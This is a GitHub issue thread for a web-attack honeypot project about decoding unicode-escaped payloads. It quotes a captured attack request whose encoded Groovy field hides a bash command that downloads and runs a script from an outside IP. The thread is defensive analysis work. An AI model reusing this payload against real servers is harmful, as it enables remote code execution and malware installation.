search

mrheinen / lophiid

A distributed honeypot for monitoring large scale web attacks
GNU General Public License v2.0
6 stars 1 forks source link

Support payloads with escaped unicode strings #44

Closed mrheinen closed 1 month ago

mrheinen commented 1 month ago

Like this:

POST /webtools/control/main/ProgramExport HTTP/1.1 Host: 217.195.153.2:80 Content-Length: 1280 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36

groovyProgram=\u005b\u0022\u0062\u0061\u0073\u0068\u0022\u002c\u0020\u0022\u002d\u0063\u0022\u002c\u0020\u0022\u007b\u007b\u0065\u0063\u0068\u006f\u002c\u0059\u0032\u0051\u0067\u004c\u0033\u0052\u0074\u0063\u0044\u0073\u0067\u0063\u006d\u0030\u0067\u004c\u0058\u004a\u006d\u0049\u0048\u0064\u006e\u005a\u0058\u0051\u0075\u0063\u0032\u0067\u0037\u0049\u0048\u0064\u006e\u005a\u0058\u0051\u0067\u0061\u0048\u0052\u0030\u0063\u0044\u006f\u0076\u004c\u007a\u0067\u0033\u004c\u006a\u0045\u0079\u004d\u0053\u0034\u0078\u004d\u0054\u0049\u0075\u004e\u0044\u0059\u0076\u0064\u0032\u0064\u006c\u0064\u0043\u0035\u007a\u0061\u0044\u0073\u0067\u0059\u0032\u0068\u0074\u0062\u0032\u0051\u0067\u004e\u007a\u0063\u0033\u0049\u0048\u0064\u006e\u005a\u0058\u0051\u0075\u0063\u0032\u0067\u0037\u0049\u0043\u0034\u0076\u0064\u0032\u0064\u006c\u0064\u0043\u0035\u007a\u0061\u0043\u0042\u0076\u005a\u006d\u004a\u0070\u0065\u006a\u0073\u0067\u0063\u006d\u0030\u0067\u004c\u0058\u004a\u006d\u0049\u0048\u0064\u006e\u005a\u0058\u0051\u0075\u0063\u0032\u0067\u003d\u007d\u007d\u007c\u007b\u007b\u0062\u0061\u0073\u0065\u0036\u0034\u002c\u002d\u0064\u007d\u007d\u007c\u007b\u007b\u0062\u0061\u0073\u0068\u002c\u002d\u0069\u007d\u007d\u0022\u005d\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029

mrheinen commented 1 month ago

Update the UI to decode such strings, update the javascript callbacks to support decoding it, perhaps also update the metadata extractors to support it (might be too much of an edge case for that)

mrheinen commented 1 month ago

Got this working in the unicode branch, the unicode decoder will also call the base64 decoder on decoded strings which means the above is supported. Screenshot Capture - 2024-09-17 - 15-43-07

mrheinen commented 1 month ago

This was implemented with https://github.com/mrheinen/lophiid/pull/46